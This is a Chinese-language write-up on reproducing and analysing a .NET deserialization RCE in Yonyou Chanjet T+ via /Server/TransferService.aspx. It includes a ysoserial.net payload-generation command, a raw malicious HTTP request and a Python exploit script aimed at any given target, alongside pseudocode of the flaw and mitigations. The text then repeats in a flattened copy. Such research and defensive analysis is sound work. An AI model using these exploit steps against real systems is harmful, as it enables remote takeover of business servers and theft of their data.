漏洞复现--用友 畅捷通T+ .net反序列化RCE
字数 1401 2025-08-10 09:16:21

用友畅捷通T+ .NET反序列化RCE漏洞复现与分析

漏洞概述

用友畅捷通T+是一款广泛使用的企业管理软件,其存在.NET反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行(RCE)。该漏洞属于高危漏洞,CVSS评分较高,可导致服务器被完全控制。

漏洞原理

.NET反序列化漏洞背景

.NET反序列化漏洞通常发生在应用程序使用BinaryFormatter、SoapFormatter或NetDataContractSerializer等不安全的反序列化器时。攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

用友畅捷通T+中的具体实现

用友畅捷通T+在处理某些请求时使用了不安全的反序列化方式,具体路径为:

/Server/TransferService.aspx

该接口接收序列化数据并进行反序列化操作,但未进行充分的安全校验。

环境搭建

测试环境要求

  • 用友畅捷通T+ 受影响版本(具体版本号需根据漏洞披露确定)
  • Windows Server 系统
  • IIS 服务器
  • .NET Framework 4.0+

安装步骤

  1. 下载用友畅捷通T+安装包
  2. 按照官方文档进行安装配置
  3. 确保/Server/TransferService.aspx接口可访问

漏洞复现

准备工作

  1. 生成恶意序列化数据工具:ysoserial.net
  2. 抓包工具:Burp Suite 或 Fiddler
  3. 目标系统URL

复现步骤

  1. 识别漏洞接口
    访问目标系统的/Server/TransferService.aspx,确认接口存在

  2. 生成Payload
    使用ysoserial.net生成恶意序列化数据:

    ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o base64
    
  3. 构造恶意请求

    POST /Server/TransferService.aspx HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    data=[BASE64编码的恶意序列化数据]
    
  4. 发送请求
    使用Burp Suite或curl发送构造的恶意请求

  5. 验证执行结果
    成功执行会在服务器上弹出计算器(calc.exe)

自动化利用脚本(Python示例)

import requests
import base64
import sys

def exploit(target):
    # 这里替换为实际生成的恶意payload
    malicious_payload = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0"
    }
    
    data = {
        "data": malicious_payload
    }
    
    try:
        response = requests.post(f"{target}/Server/TransferService.aspx", 
                               data=data, 
                               headers=headers,
                               verify=False,
                               timeout=10)
        print(f"[+] Exploit attempted against {target}")
        print(f"Response: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)
    
    exploit(sys.argv[1])

漏洞分析

关键代码分析

漏洞主要存在于TransferService.aspx的处理逻辑中,伪代码如下:

protected void Page_Load(object sender, EventArgs e)
{
    string serializedData = Request["data"];
    BinaryFormatter formatter = new BinaryFormatter();
    MemoryStream ms = new MemoryStream(Convert.FromBase64String(serializedData));
    
    // 不安全的反序列化操作
    object obj = formatter.Deserialize(ms);
    // ...后续处理...
}

攻击面分析

  1. 反序列化入口点:TransferService.aspx接口
  2. 可利用的gadget链:TextFormattingRunProperties等
  3. 执行上下文:IIS应用程序池账户权限

防御措施

临时解决方案

  1. 在WAF或防火墙中拦截对/Server/TransferService.aspx的访问
  2. 修改IIS配置,限制该接口的访问IP

永久修复方案

  1. 升级到用友官方提供的最新补丁版本
  2. 修改代码,替换不安全的BinaryFormatter为安全的序列化方式,如:
    • 使用DataContractSerializer并严格限制类型
    • 使用JSON或XML序列化替代二进制序列化

安全编码建议

  1. 避免使用BinaryFormatter等不安全的反序列化器
  2. 实现自定义的SerializationBinder来限制反序列化类型
  3. 对序列化数据进行数字签名验证

影响评估

受影响版本

用友畅捷通T+多个版本受影响,具体需参考官方安全公告

潜在影响

  1. 服务器完全沦陷
  2. 敏感数据泄露
  3. 内网横向移动
  4. 持久化后门植入

参考链接

  1. ysoserial.net项目
  2. Microsoft安全指南:BinaryFormatter安全风险
  3. 用友官方安全公告

免责声明

本文仅用于安全研究和教育目的。未经授权对系统进行测试可能违反法律。在实际测试前,请确保获得系统所有者的明确许可。

用友畅捷通T+ .NET反序列化RCE漏洞复现与分析 漏洞概述 用友畅捷通T+是一款广泛使用的企业管理软件,其存在.NET反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行(RCE)。该漏洞属于高危漏洞,CVSS评分较高,可导致服务器被完全控制。 漏洞原理 .NET反序列化漏洞背景 .NET反序列化漏洞通常发生在应用程序使用BinaryFormatter、SoapFormatter或NetDataContractSerializer等不安全的反序列化器时。攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。 用友畅捷通T+中的具体实现 用友畅捷通T+在处理某些请求时使用了不安全的反序列化方式,具体路径为: 该接口接收序列化数据并进行反序列化操作,但未进行充分的安全校验。 环境搭建 测试环境要求 用友畅捷通T+ 受影响版本(具体版本号需根据漏洞披露确定) Windows Server 系统 IIS 服务器 .NET Framework 4.0+ 安装步骤 下载用友畅捷通T+安装包 按照官方文档进行安装配置 确保 /Server/TransferService.aspx 接口可访问 漏洞复现 准备工作 生成恶意序列化数据工具:ysoserial.net 抓包工具:Burp Suite 或 Fiddler 目标系统URL 复现步骤 识别漏洞接口 : 访问目标系统的 /Server/TransferService.aspx ,确认接口存在 生成Payload : 使用ysoserial.net生成恶意序列化数据: 构造恶意请求 : 发送请求 : 使用Burp Suite或curl发送构造的恶意请求 验证执行结果 : 成功执行会在服务器上弹出计算器(calc.exe) 自动化利用脚本(Python示例) 漏洞分析 关键代码分析 漏洞主要存在于 TransferService.aspx 的处理逻辑中,伪代码如下: 攻击面分析 反序列化入口点 :TransferService.aspx接口 可利用的gadget链 :TextFormattingRunProperties等 执行上下文 :IIS应用程序池账户权限 防御措施 临时解决方案 在WAF或防火墙中拦截对 /Server/TransferService.aspx 的访问 修改IIS配置,限制该接口的访问IP 永久修复方案 升级到用友官方提供的最新补丁版本 修改代码,替换不安全的BinaryFormatter为安全的序列化方式,如: 使用DataContractSerializer并严格限制类型 使用JSON或XML序列化替代二进制序列化 安全编码建议 避免使用BinaryFormatter等不安全的反序列化器 实现自定义的SerializationBinder来限制反序列化类型 对序列化数据进行数字签名验证 影响评估 受影响版本 用友畅捷通T+多个版本受影响,具体需参考官方安全公告 潜在影响 服务器完全沦陷 敏感数据泄露 内网横向移动 持久化后门植入 参考链接 ysoserial.net项目 Microsoft安全指南:BinaryFormatter安全风险 用友官方安全公告 免责声明 本文仅用于安全研究和教育目的。未经授权对系统进行测试可能违反法律。在实际测试前,请确保获得系统所有者的明确许可。